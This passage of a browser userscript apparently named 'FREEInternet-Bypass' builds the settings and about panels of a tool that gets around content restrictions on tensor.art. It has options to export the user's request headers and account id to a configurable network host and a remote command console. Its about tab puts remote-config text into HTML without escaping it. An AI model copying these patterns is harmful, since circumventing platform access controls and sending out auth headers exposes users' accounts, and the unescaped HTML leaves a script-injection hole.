          card.appendChild(makeExternalToggleRow('higgsfieldAutoRefreshItems', 'Auto-refresh Items/Logs tabs', 'Refresh the floating window automatically when new jobs, souls, or logs are captured.'));
          card.appendChild(makeExternalToggleRow('higgsfieldEnableUiLogs', 'Enable runtime logs', 'Show runtime logs in the Higgsfield Background tab.'));
          card.appendChild(makeExternalMaxLogsRow('higgsfieldMaxLogs', 'Max Higgsfield log entries', 500));
        });
      }

      form.appendChild(otherPlatformsSection.section);

      const taskSection = createCollapsibleSection('Task Actions', 'fa-tasks', true);
      const taskOptions = [];
      if (settings.telegramEnabled) {
        taskOptions.push({ id: 'sendAllTasksTelegram', label: 'Telegram: Send all tasks', value: settings.sendAllTasksTelegram, tooltip: 'Show the global “Send all tasks to Telegram” button on the page' });
      }
      if (settings.discordEnabled) {
        taskOptions.push({ id: 'sendAllTasksDiscord', label: 'Discord: Send all tasks', value: settings.sendAllTasksDiscord, tooltip: 'Show the global “Send all tasks to Discord” button on the page' });
      }
      taskOptions.push({ id: 'sendAllTasksDownload', label: 'Download all tasks', value: settings.sendAllTasksDownload, tooltip: 'Show the global “Download all tasks” button on the page' });
      taskOptions.push({ id: 'preventDuplicateTasks', label: 'Prevent duplicate actions', value: settings.preventDuplicateTasks, tooltip: 'Skip items already sent/downloaded when using global actions' });
      taskOptions.push({ id: 'enableCopyBypassedLinks', label: 'Enable copy bypassed links', value: settings.enableCopyBypassedLinks, tooltip: 'Allow exporting all discovered bypassed links as text/json/xml/html' });
      taskOptions.push({ id: 'enableTaskProfilesCreation', label: 'Enable Profile Tasks', value: settings.enableTaskProfilesCreation, tooltip: 'Show Task Profiles tools on pages and the Profiles tab in the floating window' });

      if (settings.enableCopyBypassedLinks) {
        taskOptions.push({ id: 'copyInjectOnPage', label: 'Inject copy button on page', value: settings.copyInjectOnPage, tooltip: 'Show copy icon menu in creation/template global action bars' });
      }

      taskOptions.forEach(option => {
        const { row, input } = createSettingsToggleRow({
          labelText: option.label,
          tooltip: option.tooltip,
          checked: option.value,
          fontSize: '13px',
          textColor: colors.text
        });
        input.onchange = () => {
          settings[option.id] = input.checked;
          saveSettings();
          updateUI();
          injectBlockedMediaIntoDom();
        };
        taskSection.content.appendChild(row);
      });

      form.appendChild(taskSection.section);

      // ============================================================================
      // SHARED/CROSEE NETWORK SAVE SETTINGS
      // ============================================================================
      const sharedNetSection = createCollapsibleSection('Save Crosee network', 'fa-network-wired', false);

      const sharedNetNote = document.createElement('div');
      sharedNetNote.style.cssText = `
        background: rgba(99, 102, 241, 0.08);
        border: 1px solid rgba(99, 102, 241, 0.25);
        border-radius: 10px;
        padding: 10px;
        font-size: 12px;
        line-height: 1.45;
        color: ${colors.textSecondary};
        margin-bottom: 10px;
      `;
      sharedNetNote.innerHTML = '<strong style="color:' + colors.primary + '"><i class="fas fa-share-nodes"></i> Shared export</strong><br>Send cached tasks/items to a trusted host on your network via HTTP or WebSocket.';
      sharedNetSection.content.appendChild(sharedNetNote);

      const sharedNetHeaderRow = document.createElement('div');
      sharedNetHeaderRow.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; flex-wrap:wrap;';
      const sharedNetToggle = document.createElement('label');
      sharedNetToggle.style.cssText = 'display:flex; align-items:center; gap:8px; cursor:pointer; font-size:13px; font-weight:600;';
      const sharedNetEnabledInput = document.createElement('input');
      sharedNetEnabledInput.type = 'checkbox';
      sharedNetEnabledInput.className = 'bypass-checkbox';
      sharedNetEnabledInput.checked = !!settings.sharedNetworkEnabled;
      sharedNetEnabledInput.onchange = () => {
        settings.sharedNetworkEnabled = sharedNetEnabledInput.checked;
        saveSettings();
        updateUI();
      };
      sharedNetToggle.appendChild(sharedNetEnabledInput);
      sharedNetToggle.appendChild(document.createTextNode('Enable Shared Network Save'));

      const sharedNetMoreBtn = document.createElement('button');
      sharedNetMoreBtn.className = 'bypass-btn bypass-btn-secondary';
      sharedNetMoreBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      sharedNetMoreBtn.innerHTML = '<i class="fas fa-circle-info"></i> More info';
      sharedNetMoreBtn.onclick = () => showSharedNetworkInfoDialog();

      const sharedNetDocsBtn = document.createElement('button');
      sharedNetDocsBtn.className = 'bypass-btn bypass-btn-secondary';
      sharedNetDocsBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      sharedNetDocsBtn.innerHTML = '<i class="fas fa-book"></i> Docs';
      sharedNetDocsBtn.onclick = () => showSharedNetworkDocsDialog();

      sharedNetHeaderRow.appendChild(sharedNetToggle);
      const sharedNetInfoBtns = document.createElement('div');
      sharedNetInfoBtns.style.cssText = 'display:flex; align-items:center; gap:8px; flex-wrap:wrap; justify-content:flex-end;';
      sharedNetInfoBtns.appendChild(sharedNetDocsBtn);
      sharedNetInfoBtns.appendChild(sharedNetMoreBtn);
      sharedNetHeaderRow.appendChild(sharedNetInfoBtns);
      sharedNetSection.content.appendChild(sharedNetHeaderRow);

      const mkRow = (labelText, inputEl) => {
        const row = document.createElement('div');
        row.style.cssText = 'display:grid; gap:6px; margin-top:10px;';
        const lbl = document.createElement('div');
        lbl.style.cssText = `font-size:12px; font-weight:700; color:${colors.text};`;
        lbl.textContent = labelText;
        row.appendChild(lbl);
        row.appendChild(inputEl);
        return row;
      };

      const hostInput = document.createElement('input');
      hostInput.type = 'text';
      hostInput.placeholder = 'http://127.0.0.1:8787';
      hostInput.value = settings.sharedNetworkHost || '';
      hostInput.style.cssText = `padding:10px 10px; border-radius:10px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;`;
      hostInput.onchange = () => {
        settings.sharedNetworkHost = hostInput.value.trim();
        saveSettings();
        updateUI();
      };

      const hostRow = mkRow('Host / Address', hostInput);
      const base = sharedNetNormalizeHttpBaseUrl(settings.sharedNetworkHost);
      const isLocal = base ? sharedNetIsLocalhostUrl(base) : false;
      if (settings.sharedNetworkHost && !isLocal) {
        const warn = document.createElement('div');
        warn.style.cssText = 'font-size:11px; color:#fecaca; padding:8px; border-radius:10px; border:1px solid rgba(239,68,68,0.35); background: rgba(239,68,68,0.12); line-height:1.4;';
        warn.innerHTML = '<strong><i class="fas fa-triangle-exclamation"></i> Warning:</strong> Non-localhost host. Do not send exports to sites/servers you do not fully control.';
        hostRow.appendChild(warn);
      }
      sharedNetSection.content.appendChild(hostRow);

      const methodSelect = document.createElement('select');
      methodSelect.className = 'bypass-select';
      methodSelect.style.cssText = `padding:10px 10px; border-radius:10px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px;`;
      ['http', 'ws'].forEach(m => {
        const opt = document.createElement('option');
        opt.value = m;
        opt.textContent = m.toUpperCase();
        if ((settings.sharedNetworkMethod || 'http') === m) opt.selected = true;
        methodSelect.appendChild(opt);
      });
      methodSelect.onchange = () => {
        settings.sharedNetworkMethod = methodSelect.value;
        saveSettings();
        updateUI();
      };
      sharedNetSection.content.appendChild(mkRow('Request method', methodSelect));

      const payloadSelect = document.createElement('select');
      payloadSelect.className = 'bypass-select';
      payloadSelect.style.cssText = `padding:10px 10px; border-radius:10px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px;`;
      [{ v: 'file', t: 'File (multipart) — recommended' }, { v: 'text', t: 'Text (JSON body)' }].forEach(({ v, t }) => {
        const opt = document.createElement('option');
        opt.value = v;
        opt.textContent = t;
        if ((settings.sharedNetworkPayloadMode || 'file') === v) opt.selected = true;
        payloadSelect.appendChild(opt);
      });
      payloadSelect.onchange = () => {
        settings.sharedNetworkPayloadMode = payloadSelect.value;
        saveSettings();
      };
      sharedNetSection.content.appendChild(mkRow('Payload mode', payloadSelect));

      const wsUrlInput = document.createElement('input');
      wsUrlInput.type = 'text';
      wsUrlInput.placeholder = 'ws://127.0.0.1:8787/shared-network/ws';
      wsUrlInput.value = settings.sharedNetworkWsUrl || '';
      wsUrlInput.style.cssText = `padding:10px 10px; border-radius:10px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;`;
      wsUrlInput.onchange = () => {
        settings.sharedNetworkWsUrl = wsUrlInput.value.trim();
        saveSettings();
      };
      sharedNetSection.content.appendChild(mkRow('WebSocket URL (when method = WS)', wsUrlInput));

      const endpointGrid = document.createElement('div');
      endpointGrid.style.cssText = 'display:grid; gap:8px; margin-top:10px;';
      const endpointTitle = document.createElement('div');
      endpointTitle.style.cssText = `font-size:12px; font-weight:800; color:${colors.text};`;
      endpointTitle.innerHTML = '<i class="fas fa-route"></i> HTTP endpoints (paths)';
      endpointGrid.appendChild(endpointTitle);

      const mkPathInput = (value, onChange, placeholder) => {
        const i = document.createElement('input');
        i.type = 'text';
        i.value = value || '';
        i.placeholder = placeholder;
        i.style.cssText = `padding:10px 10px; border-radius:10px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;`;
        i.onchange = () => { onChange(i.value.trim()); saveSettings(); };
        return i;
      };

      endpointGrid.appendChild(mkRow('Upload path', mkPathInput(settings.sharedNetworkHttpUploadPath, (v) => settings.sharedNetworkHttpUploadPath = v, '/shared-network/save')));
      endpointGrid.appendChild(mkRow('Health path', mkPathInput(settings.sharedNetworkHttpHealthPath, (v) => settings.sharedNetworkHttpHealthPath = v, '/shared-network/health')));
      endpointGrid.appendChild(mkRow('Command path', mkPathInput(settings.sharedNetworkHttpCommandPath, (v) => settings.sharedNetworkHttpCommandPath = v, '/shared-network/command')));
      sharedNetSection.content.appendChild(endpointGrid);

      const optsTitle = document.createElement('div');
      optsTitle.style.cssText = `margin-top:10px; font-size:12px; font-weight:800; color:${colors.text};`;
      optsTitle.innerHTML = '<i class="fas fa-sliders"></i> Options';
      sharedNetSection.content.appendChild(optsTitle);

      const mkOpt = (id, labelText, tooltipText) => {
        const row = document.createElement('label');
        row.style.cssText = 'display:flex; align-items:center; gap:8px; cursor:pointer; font-size:12px; color:' + colors.text + ';';
        const input = document.createElement('input');
        input.type = 'checkbox';
        input.className = 'bypass-checkbox';
        input.checked = !!settings[id];
        input.onchange = () => {
          settings[id] = input.checked;
          saveSettings();
          updateUI();
        };
        row.appendChild(input);
        row.appendChild(document.createTextNode(labelText));
        if (tooltipText) {
          const info = document.createElement('span');
          info.className = 'bypass-tooltip-icon';
          info.innerHTML = '<i class="fas fa-info-circle"></i>';
          info.title = tooltipText;
          attachInfoTooltip(info, tooltipText);
          row.appendChild(info);
        }
        return row;
      };

      sharedNetSection.content.appendChild(mkOpt('sharedNetworkIncludeUserId', 'Include user id / nickname', 'Include basic account identity fields in the export envelope.'));
      sharedNetSection.content.appendChild(mkOpt('sharedNetworkIncludePageContext', 'Include page context (URL/title)', 'Adds current page URL, origin, host, and title.'));
      sharedNetSection.content.appendChild(mkOpt('sharedNetworkIncludeTensorHeaders', 'Include Tensor headers', 'Includes your configured Tensor request headers inside the export payload (sensitive).'));

      sharedNetSection.content.appendChild(mkOpt('sharedNetworkRemoteControlEnabled', 'Enable remote control console', 'Allows sending a text command to your host (dangerous if host is not trusted).'));

      if (settings.sharedNetworkRemoteControlEnabled) {
        const rcHelp = document.createElement('div');
        rcHelp.style.cssText = 'margin-top:6px; font-size:11px; color:' + colors.textSecondary + '; line-height:1.4; padding:8px; border-radius:10px; background: rgba(51,65,85,0.25);';
        rcHelp.innerHTML = '<i class="fas fa-terminal"></i> Remote console will appear in the Shared Network tab. Use it only with servers you control. Some hosts may interpret commands like <strong>I‑TB</strong> messages.';
        sharedNetSection.content.appendChild(rcHelp);
      }

      form.appendChild(sharedNetSection.section);

      const automationSection = createCollapsibleSection('Automation', 'fa-robot', true);
      const autoCheckLabel = document.createElement('label');
      autoCheckLabel.style.cssText = 'display: flex; align-items: center; gap: 8px; cursor: pointer; font-size: 13px;';
      const autoCheckInput = document.createElement('input');
      autoCheckInput.className = 'bypass-checkbox';
      autoCheckInput.type = 'checkbox';
      autoCheckInput.checked = settings.autoCheck;
      autoCheckInput.onchange = () => {
        settings.autoCheck = autoCheckInput.checked;
        localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
        if (settings.autoCheck) {
          startAutoCheck();
        } else {
          stopAutoCheck();
        }
        updateUI();
      };
      autoCheckLabel.appendChild(autoCheckInput);
      autoCheckLabel.appendChild(document.createTextNode('Auto-check for Items'));
      automationSection.content.appendChild(autoCheckLabel);

      if (settings.autoCheck) {
        const intervalGroup = document.createElement('div');
        intervalGroup.className = 'bypass-form-group';
        const intervalLabel = document.createElement('label');
        intervalLabel.className = 'bypass-label';
        intervalLabel.setAttribute('for', 'checkInterval');
        intervalLabel.innerHTML = '<i class="fas fa-clock"></i> Check Interval (seconds)';
        const intervalInput = document.createElement('input');
        intervalInput.className = 'bypass-input';
        intervalInput.type = 'number';
        intervalInput.id = 'checkInterval';
        intervalInput.name = 'checkInterval';
        intervalInput.min = '5';
        intervalInput.max = '300';
        intervalInput.step = '5';
        intervalInput.value = settings.autoCheckInterval;
        intervalInput.onclick = (e) => e.stopPropagation();
        intervalInput.onchange = () => {
          settings.autoCheckInterval = Math.max(5, parseInt(intervalInput.value) || 30);
          localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
          startAutoCheck();
        };
        intervalGroup.appendChild(intervalLabel);
        intervalGroup.appendChild(intervalInput);
        automationSection.content.appendChild(intervalGroup);
      }
      form.appendChild(automationSection.section);

      const appearanceSection = createCollapsibleSection('Appearance', 'fa-palette', true);
      const themeGroup = document.createElement('div');
      themeGroup.className = 'bypass-form-group';
      const themeLabel = document.createElement('label');
      themeLabel.className = 'bypass-label';
      themeLabel.setAttribute('for', 'themeSelect');
      themeLabel.innerHTML = '<i class="fas fa-palette"></i> Theme';
      const themeSelect = document.createElement('select');
      themeSelect.className = 'bypass-select';
      themeSelect.id = 'themeSelect';
      themeSelect.name = 'theme';
      themeSelect.onclick = (e) => e.stopPropagation();
      ['dark', 'light'].forEach(th => {
        const opt = document.createElement('option');
        opt.value = th;
        opt.textContent = th.charAt(0).toUpperCase() + th.slice(1);
        if (th === settings.theme) opt.selected = true;
        themeSelect.appendChild(opt);
      });
      themeSelect.onchange = () => {
        settings.theme = themeSelect.value;
        saveSettings();
        updateUI();
      };
      themeGroup.appendChild(themeLabel);
      themeGroup.appendChild(themeSelect);
      appearanceSection.content.appendChild(themeGroup);
      form.appendChild(appearanceSection.section);

      const cacheSection = createCollapsibleSection('Cache Management', 'fa-database', true);
      const cachingLabel = document.createElement('label');
      cachingLabel.style.cssText = 'display: flex; align-items: center; gap: 8px; cursor: pointer; font-size: 13px;';
      const cachingInput = document.createElement('input');
      cachingInput.className = 'bypass-checkbox';
      cachingInput.type = 'checkbox';
      cachingInput.checked = settings.cachingEnabled;
      cachingInput.onchange = () => {
        const newValue = cachingInput.checked;
        if (!newValue) {
          const confirmed = confirm('⚠️ Warning: Disabling cache can cause performance issues and increase API requests.\n\nAre you sure you want to disable caching?');
          if (!confirmed) {
            cachingInput.checked = true;
            return;
          }
        }
        settings.cachingEnabled = newValue;
        saveSettings();
        updateUI();
      };
      cachingLabel.appendChild(cachingInput);
      cachingLabel.appendChild(document.createTextNode('Enable URL Caching'));
      cacheSection.content.appendChild(cachingLabel);

      if (settings.cachingEnabled) {
        const cacheDurationGroup = document.createElement('div');
        cacheDurationGroup.className = 'bypass-form-group';
        const cacheDurationLabel = document.createElement('label');
        cacheDurationLabel.className = 'bypass-label';
        cacheDurationLabel.setAttribute('for', 'cacheDuration');
        cacheDurationLabel.innerHTML = '<i class="fas fa-hourglass"></i> Cache Duration (Days)';
        const cacheDurationInput = document.createElement('input');
        cacheDurationInput.className = 'bypass-input';
        cacheDurationInput.type = 'number';
        cacheDurationInput.id = 'cacheDuration';
        cacheDurationInput.name = 'cacheDuration';
        cacheDurationInput.min = '1';
        cacheDurationInput.max = '30';
        cacheDurationInput.value = settings.cacheDuration;
        cacheDurationInput.onclick = (e) => e.stopPropagation();
        cacheDurationInput.onchange = () => {
          settings.cacheDuration = Math.max(1, parseInt(cacheDurationInput.value) || 7);
          localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
        };
        cacheDurationGroup.appendChild(cacheDurationLabel);
        cacheDurationGroup.appendChild(cacheDurationInput);
        cacheSection.content.appendChild(cacheDurationGroup);
      }
      form.appendChild(cacheSection.section);

      // ============================================================================
      // TENSORHUB LINKER SETTINGS IN FLOATING WINDOW
      // ============================================================================
      const tensorhubSection = createCollapsibleSection('TensorHub Integration', 'fa-link', false);

      const tensorhubEnabled = document.createElement('label');
      tensorhubEnabled.style.cssText = 'display: flex; align-items: center; gap: 8px; cursor: pointer; font-size: 13px;';
      const tensorhubEnabledInput = document.createElement('input');
      tensorhubEnabledInput.className = 'bypass-checkbox';
      tensorhubEnabledInput.type = 'checkbox';
      tensorhubEnabledInput.checked = settings.tensorhubLinkerEnabled;
      tensorhubEnabledInput.onchange = () => {
        settings.tensorhubLinkerEnabled = tensorhubEnabledInput.checked;
        saveSettings();
        updateUI();
      };
      tensorhubEnabled.appendChild(tensorhubEnabledInput);
      tensorhubEnabled.appendChild(document.createTextNode('Enable TensorHub Linker'));
      tensorhubSection.content.appendChild(tensorhubEnabled);

      // Share Settings checkbox
      const shareSettingsLabel = document.createElement('label');
      shareSettingsLabel.style.cssText = 'display: flex; align-items: center; gap: 8px; cursor: pointer; font-size: 13px; margin-top: 8px;';
      const shareSettingsInput = document.createElement('input');
      shareSettingsInput.className = 'bypass-checkbox';
      shareSettingsInput.type = 'checkbox';
      shareSettingsInput.checked = settings.tensorhubShareSettings || false;
      shareSettingsInput.onchange = () => {
        settings.tensorhubShareSettings = shareSettingsInput.checked;
        saveSettings();
        if (settings.tensorhubShareSettings) {
          syncSettingsAcrossDomains();
        }
      };
      const shareText = document.createTextNode('Share Settings Across Domains');
      const shareInfo = document.createElement('span');
      shareInfo.className = 'bypass-tooltip-icon';
      shareInfo.innerHTML = '<i class="fas fa-info-circle"></i>';
      shareInfo.title = 'Use same settings on both tensor.art and tensorhub.art';
      attachInfoTooltip(shareInfo, 'When enabled, settings will sync between tensor.art and tensorhub.art domains automatically.');
      shareSettingsLabel.appendChild(shareSettingsInput);
      shareSettingsLabel.appendChild(shareText);
      shareSettingsLabel.appendChild(shareInfo);
      tensorhubSection.content.appendChild(shareSettingsLabel);

      const tensorhubHelp = document.createElement('div');
      tensorhubHelp.style.cssText = `
        font-size: 11px;
        color: #94a3b8;
        margin-top: 8px;
        line-height: 1.4;
        padding: 8px;
        background: rgba(51, 65, 85, 0.3);
        border-radius: 4px;
      `;
      tensorhubHelp.innerHTML = '<i class="fas fa-link"></i> Sync tasks from tensorhub.art in addition to tensor.art';
      tensorhubSection.content.appendChild(tensorhubHelp);

      if (settings.tensorhubLinkerEnabled) {
        // Link Tokens
        const linkTokens = document.createElement('label');
        linkTokens.style.cssText = 'display: flex; align-items: center; gap: 8px; cursor: pointer; font-size: 13px; margin-top: 8px;';
        const linkTokensInput = document.createElement('input');
        linkTokensInput.className = 'bypass-checkbox';
        linkTokensInput.type = 'checkbox';
        linkTokensInput.checked = settings.tensorhubLinkTokens;
        linkTokensInput.onchange = () => {
          settings.tensorhubLinkTokens = linkTokensInput.checked;
          saveSettings();
        };
        linkTokens.appendChild(linkTokensInput);
        linkTokens.appendChild(document.createTextNode('Link User Tokens'));
        tensorhubSection.content.appendChild(linkTokens);

        // Link Tasks
        const linkTasks = document.createElement('label');
        linkTasks.style.cssText = 'display: flex; align-items: center; gap: 8px; cursor: pointer; font-size: 13px; margin-top: 8px;';
        const linkTasksInput = document.createElement('input');
        linkTasksInput.className = 'bypass-checkbox';
        linkTasksInput.type = 'checkbox';
        linkTasksInput.checked = settings.tensorhubLinkTasks;
        linkTasksInput.onchange = () => {
          settings.tensorhubLinkTasks = linkTasksInput.checked;
          saveSettings();
        };
        linkTasks.appendChild(linkTasksInput);
        linkTasks.appendChild(document.createTextNode('Link Tasks (Manual)'));
        tensorhubSection.content.appendChild(linkTasks);

        const taskHelp = document.createElement('div');
        taskHelp.style.cssText = `
          font-size: 11px;
          color: #94a3b8;
          margin-top: 6px;
          line-height: 1.3;
          padding: 6px;
          background: rgba(51, 65, 85, 0.2);
          border-radius: 4px;
          border-left: 2px solid #a78bfa;
        `;
        taskHelp.innerHTML = '<i class="fas fa-lightbulb"></i> Visit tensorhub.art and reload to save tasks manually. View in Data Control tab.';
        tensorhubSection.content.appendChild(taskHelp);

        // Run on TensorHub
        const runTensorhub = document.createElement('label');
        runTensorhub.style.cssText = 'display: flex; align-items: center; gap: 8px; cursor: pointer; font-size: 13px; margin-top: 8px;';
        const runTensorhubInput = document.createElement('input');
        runTensorhubInput.className = 'bypass-checkbox';
        runTensorhubInput.type = 'checkbox';
        runTensorhubInput.checked = settings.runOnTensorhub;
        runTensorhubInput.onchange = () => {
          settings.runOnTensorhub = runTensorhubInput.checked;
          saveSettings();
          if (settings.runOnTensorhub && window.location.hostname === 'tensorhub.art') {
            // Reload on tensorhub to activate features
            setTimeout(() => window.location.reload(), 500);
          }
        };
        runTensorhub.appendChild(runTensorhubInput);
        runTensorhub.appendChild(document.createTextNode('Run on TensorHub Domain'));
        tensorhubSection.content.appendChild(runTensorhub);

        const runHelp = document.createElement('div');
        runHelp.style.cssText = `
          font-size: 11px;
          color: #94a3b8;
          margin-top: 6px;
          line-height: 1.3;
          padding: 6px;
          background: rgba(51, 65, 85, 0.2);
          border-radius: 4px;
          border-left: 2px solid #22c55e;
        `;
        runHelp.innerHTML = '<i class="fas fa-rocket"></i> Enable full floating panel and features on tensorhub.art domain';
        tensorhubSection.content.appendChild(runHelp);
      }

      form.appendChild(tensorhubSection.section);

      // ── Community Share AI Tools ────────────────────────────────────────────
      if (IS_TENSOR_DOMAIN) {
        const communitySection = createCollapsibleSection('Community Share AI Tools', 'fa-people-group', false);

        const communityNote = document.createElement('div');
        communityNote.style.cssText = `
          background: rgba(99,102,241,0.08);
          border: 1px solid rgba(99,102,241,0.25);
          border-radius: 8px; padding: 10px;
          font-size: 12px; line-height: 1.5;
          color: ${colors.textSecondary}; margin-bottom: 10px;
        `;
        communityNote.innerHTML = `<strong style="color:${colors.primary}"><i class="fas fa-people-group"></i> Anonymous community</strong><br>
When enabled you will see a <em>Share with bypassers</em> button on template pages. Click it to anonymously suggest that template to other FreeInternet users.<br>
<strong>No account info, IDs, or session data is ever sent.</strong> Only the template ID and its public name are shared.`;
        communitySection.content.appendChild(communityNote);

        const { row: communityRow, input: communityInput } = createSettingsToggleRow({
          labelText: 'Enable Community Share',
          tooltip: 'Show the "Share with bypassers" button on template pages and add the Community tab.',
          checked: !!settings.communityShareEnabled,
          fontSize: '13px',
          textColor: colors.text
        });
        communityInput.onchange = () => {
          settings.communityShareEnabled = communityInput.checked;
          saveSettings();
          // Remove injected button if disabled
          if (!settings.communityShareEnabled) {
            const b = document.getElementById('fi-community-share-btn');
            if (b) b.remove();
            const sec = document.getElementById('fi-community-home-section');
            if (sec) sec.remove();
          }
          updateUI();
        };
        communitySection.content.appendChild(communityRow);

        const { row: homeRow, input: homeInput } = createSettingsToggleRow({
          labelText: 'Show community tools on home page',
          tooltip: 'Inject a "FreeInternet Community AI Tools" section at the top of the tensor.art home page.',
          checked: !!settings.communityShowOnHome,
          fontSize: '13px',
          textColor: colors.text
        });
        homeInput.onchange = () => {
          settings.communityShowOnHome = homeInput.checked;
          saveSettings();
          if (!settings.communityShowOnHome) {
            const sec = document.getElementById('fi-community-home-section');
            if (sec) sec.remove();
          }
        };
        communitySection.content.appendChild(homeRow);

        form.appendChild(communitySection.section);
      }

      }

      form.appendChild(searchEmptyState);
      const rerunSettingsSearch = () => {
        applySettingsSearchFilter(form, searchInput.value, searchEmptyState);
      };
      searchInput.addEventListener('input', () => {
        setSettingsSearchQuery(searchInput.value);
        rerunSettingsSearch();
      });
      rerunSettingsSearch();

      content.appendChild(form);
    } else if (currentTab === 'community') {
      const colors = getThemeColors();

      const hdr = document.createElement('div');
      hdr.style.cssText = `display:flex; flex-direction:column; gap:4px; padding:12px 14px; border-radius:14px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; margin-bottom:12px;`;
      hdr.innerHTML = `
        <div style="font-weight:900; font-size:14px; color:${colors.text};">
          <i class="fas fa-people-group" style="color:${colors.primary}; margin-right:8px;"></i>Community AI Tools
        </div>
        <div style="font-size:11px; color:${colors.textSecondary}; line-height:1.5;">
          Anonymously shared workflow templates by other FreeInternet users.
          Visit a template page and click <strong>Recommend</strong> to share a tool.
        </div>
      `;
      content.appendChild(hdr);

      const controls = document.createElement('div');
      controls.style.cssText = 'display:flex; gap:8px; margin-bottom:10px; align-items:center;';
      const refreshBtn = document.createElement('button');
      refreshBtn.className = 'bypass-btn bypass-btn-secondary';
      refreshBtn.style.cssText = 'width:auto; padding:7px 12px; font-size:12px;';
      refreshBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Refresh';
      controls.appendChild(refreshBtn);
      content.appendChild(controls);

      const grid = document.createElement('div');
      grid.style.cssText = 'display:flex; flex-direction:column; gap:10px;';
      content.appendChild(grid);

      const renderCommunityTools = async (forceRefresh = false) => {
        grid.innerHTML = `<div style="text-align:center; padding:28px; color:${colors.textSecondary}; font-size:12px;">
          <i class="fas fa-spinner fa-spin" style="margin-right:6px;"></i>Loading community tools…</div>`;
        try {
          const tools = await communityFetchTools(forceRefresh);
          grid.innerHTML = '';
          if (!tools.length) {
            grid.innerHTML = `<div style="text-align:center; padding:32px; color:${colors.textSecondary}; font-size:12px;">
              <i class="fas fa-inbox" style="font-size:22px; display:block; margin-bottom:10px; opacity:0.4;"></i>
              No community tools yet. Be the first to share one!</div>`;
            return;
          }
          tools.forEach((tool, idx) => _renderCommunityToolCard(grid, tool, idx, false));
        } catch (err) {
          grid.innerHTML = `<div style="text-align:center; padding:24px; color:#f87171; font-size:12px;">
            <i class="fas fa-triangle-exclamation" style="margin-right:6px;"></i>${escapeHtml(String(err?.message || err))}</div>`;
        }
      };

      // Expose for vote buttons
      refreshCommunityTab = () => renderCommunityTools(true);

      refreshBtn.onclick = () => renderCommunityTools(true);
      renderCommunityTools(false);

    } else if (currentTab === 'about') {
      const aboutSection = document.createElement('div');
      aboutSection.style.cssText = 'padding: 16px; color: #f1f5f9;';

      const scriptName = remoteConfig?.script?.display_name || 'FREEInternet-Bypass';
      const remoteVersion = remoteConfig?.script?.version || 'Unknown';
      const tagline = remoteConfig?.script?.tagline || 'Unlock the Web Without Limits';

      // Version comparison
      const versionCompare = /\d/.test(remoteVersion) ? compareVersions(remoteVersion, SCRIPT_VERSION) : 0;
      const versionMatch = versionCompare <= 0;
      const versionColor = versionMatch ? '#10b981' : '#f59e0b';
      const versionIcon = versionMatch ? '<i class="fas fa-circle-check"></i>' : '<i class="fas fa-triangle-exclamation"></i>';

      aboutSection.innerHTML = `
        <div style="text-align: center; padding: 24px 0; border-bottom: 1px solid #475569;">
          <h2 style="font-size: 24px; margin: 0 0 8px 0; color: #6366f1;">${scriptName}</h2>
          <div style="font-size: 14px; color: #cbd5e1; margin-bottom: 12px;">${tagline}</div>
          <div style="font-size: 12px; color: #94a3b8; margin-bottom: 8px;">
            <strong>Installed:</strong> v${SCRIPT_VERSION}
          </div>
          <div style="font-size: 12px; color: ${versionColor};">
            ${versionIcon} <strong>Latest:</strong> v${remoteVersion}
            ${versionMatch ? '' : ' (Update available)'}
          </div>
        </div>
      `;

      if (remoteConfig?.authors?.length > 0) {
        const authorsDiv = document.createElement('div');
        authorsDiv.style.cssText = 'padding: 20px 0; border-bottom: 1px solid #475569;';
        authorsDiv.innerHTML = '<h3 style="font-size: 16px; margin: 0 0 12px 0; color: #6366f1;"><i class="fas fa-users"></i> Authors</h3>';

        for (const author of remoteConfig.authors) {
          const authorCard = document.createElement('div');
          authorCard.style.cssText = 'margin-bottom: 12px; padding: 12px; background: rgba(99, 102, 241, 0.05); border-radius: 8px;';
          authorCard.innerHTML = `
            <div style="font-weight: 600; font-size: 14px;">${author.name}</div>
            <div style="font-size: 12px; color: #cbd5e1; margin-top: 4px;">${author.role || 'Contributor'}</div>
            ${author.bio ? `<div style="font-size: 12px; color: #94a3b8; margin-top: 6px; font-style: italic;">${author.bio}</div>` : ''}
          `;
          authorsDiv.appendChild(authorCard);
        }

        aboutSection.appendChild(authorsDiv);
      }

      if (remoteConfig?.features?.length > 0) {
        const featuresDiv = document.createElement('div');
        featuresDiv.style.cssText = 'padding: 20px 0;';
        featuresDiv.innerHTML = '<h3 style="font-size: 16px; margin: 0 0 12px 0; color: #6366f1;"><i class="fas fa-rocket"></i> Features</h3>';

        for (const feature of remoteConfig.features) {
          const featureCard = document.createElement('div');
          featureCard.style.cssText = 'margin-bottom: 12px; padding: 12px; background: rgba(99, 102, 241, 0.05); border-radius: 8px;';

          const statusIcon = feature.enabled_by_default ? '<i class="fas fa-circle-check"></i>' : '<i class="fas fa-sliders"></i>';
          const categoryBadge = feature.category ? `<span style="font-size: 10px; background: rgba(99, 102, 241, 0.3); padding: 2px 6px; border-radius: 4px; margin-left: 8px;">${feature.category}</span>` : '';

          featureCard.innerHTML = `
            <div style="font-weight: 600; font-size: 13px;">${statusIcon} ${feature.title}${categoryBadge}</div>
            <div style="font-size: 12px; color: #cbd5e1; margin-top: 6px;">${feature.description}</div>
            ${feature.help ? `<div style="font-size: 11px; color: #94a3b8; margin-top: 8px; padding-top: 8px; border-top: 1px solid #475569;"><strong>Help:</strong> ${feature.help}</div>` : ''}
          `;
